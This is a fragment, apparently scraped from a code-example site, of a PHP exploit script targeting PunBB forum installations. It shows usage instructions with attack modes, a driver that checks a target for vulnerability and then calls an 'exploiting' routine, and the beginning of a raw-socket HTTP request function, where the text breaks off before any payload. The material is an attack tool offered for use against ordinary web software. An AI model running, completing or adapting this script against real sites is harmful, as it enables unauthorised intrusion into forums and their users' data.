Пример #1
0
    
    Usage:  php [punbb.php] [host/path] [mode]
            php [punbb.php] [host/path] [save]
            php [punbb.php] [host/path] [NULL]
           
   Example:
            php punbb.php localhost/punbb save
            php punbb.php localhost/punbb
          
                   
    NOTE: Don't add me on MSN Messenger
*/
$exploit = new Exploit();
$domain = $argv[1];
$mymode = $argv[2];
$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain, $mymode);
class Exploit
{
    function http_request($host, $data)
    {
        if (!($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            echo "socket_create() error!\r\n";
            exit;
        }
        if (!socket_set_option($socket, SOL_SOCKET, SO_BROADCAST, 1)) {
            echo "socket_set_option() error!\r\n";
            exit;
        }
        if (!socket_connect($socket, $host, 80)) {